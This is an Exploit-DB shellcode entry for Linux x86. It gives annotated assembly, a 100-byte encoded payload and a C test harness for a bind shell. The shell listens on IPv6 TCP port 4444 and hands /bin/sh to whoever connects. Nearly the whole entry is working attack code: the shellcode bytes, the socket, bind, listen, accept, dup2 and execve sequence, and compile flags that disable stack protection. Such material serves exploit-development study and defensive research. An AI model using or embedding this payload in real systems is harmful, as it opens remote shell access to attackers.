Linux/x86 - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (100 bytes)

EDB-ID:

45080

CVE:

N/A


Platform:

Linux_x86

Published:

2018-07-23

# Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
# Length : 100bytes
# Author: Kartik Durg
# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv6-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)

/*
global _start
	section .text
	
	_start:
	;References:
	;(1)http://syscalls.kernelgrok.com/
	;(2)https://www.3dbrew.org/wiki/Socket_Services
	;(3)http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
	;(4)http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html
	
	;IPV6 socket creation
	;int socketcall(int call, unsigned long *args);
	;sockfd = socket(int socket_family, int socket_type, int protocol);
	push byte 0x66 ; socketcall()
	pop eax ;EAX=0x2
	
	xor ebx,ebx ; zero out ebx
	
	push 0x6 ; IPPROTO_TCP=6
	push 0x1 ; socket_type=SOCK_STREAM (0x1)
	push 0xa ; AF_INET6
	inc ebx ; Define SYS_socket = 1
	mov ecx,esp ; save pointer (ESP) to socket() args (ECX)
	int 0x80
	xchg esi,eax    ; host_sockfd stored in esi
	xor eax,eax
	
	;int socketcall(int call, unsigned long *args);
	;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
	push DWORD eax ;x4 dword ipv6 loopback | EAX contains 0
	push DWORD eax
	push DWORD eax
	push DWORD eax
	push eax ;sin6_addr = in6addr_any | in6addr_any=::0
	push WORD 0x5c11 ;sin6_port=4444 | 0x5c11 | Configurable |
	push WORD 0x0a ;AF_INET6
	mov ecx,esp ;ECX holds pointer to struct sockaddr
	push byte 0x1c ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
	push ecx ;pointer to host_sockfd
	push esi ;host_sockfd
	mov ecx,esp ;ECX points to args
	inc ebx ;EBX = 0x2 | #define SYS_BIND 2
	push byte 0x66 ;socketcall()
	pop eax
	int 80h
	
	;Listen
	;int socketcall(int call, unsigned long *args);
	;int listen(int host_sockfd, int backlog);
	push ebx ;EBX=2 | backlog=2
	push esi ;poiter to host_sockfd
	mov ecx,esp ;ECX points to args
	inc ebx
	inc ebx ;EBX=0x4 | #define SYS_LISTEN 4
	push byte 0x66
	pop eax ;socketcall()
	int 80h
	
	;Accept
	;int socketcall(int call, unsigned long *args);
	;accept(int sockfd, NULL, NULL);
	cdq ;EDX = 0x0 | Saves a byte
	push edx ;Push NULL
	push edx ;Push NULL
	push esi ;Push host_sockfd
	mov ecx,esp ;ECX points to args
	inc ebx ;EBX = 0x5 | #define SYS_ACCEPT 5
	push byte 0x66 ;socketcall()
	pop eax
	int 80h
	
	xchg ebx,eax ;save client_sockfd
	
	push byte 0x2 ;push 0x2 on stack
	pop ecx ;ECX = 2
	
	;dup2() to redirect stdin(0), stdout(1) and stderr(2)
	loop:
	push byte 0x3f ;dup2()
	pop eax ;ECX = 0x3f
	int 0x80 ;exec sys_dup2
	dec ecx ;decrement counter
	jns loop ;SF not set? then keep on jumping
	
	;execve(/bin//sh)
	xor ecx,ecx ;clear ECX
	push ecx ;Push NULL
	push byte 0x0b ;execve() sys call number
	pop eax ;EAX=0x2 | execve()
	push 0x68732f2f ;(1)/bin//sh
	push 0x6e69622f ;(2)/bin//sh
	mov ebx,esp ;EBX pointing to "/bin//sh"
	int 0x80 ;Calling Interrupt for sys call
*/

/*
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

./shellcode

*/

#include<stdio.h>
 
unsigned char shellcode[] = \
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
 
main()
{
	printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
	int (*ret)() = (int(*)())shellcode;
	ret();
}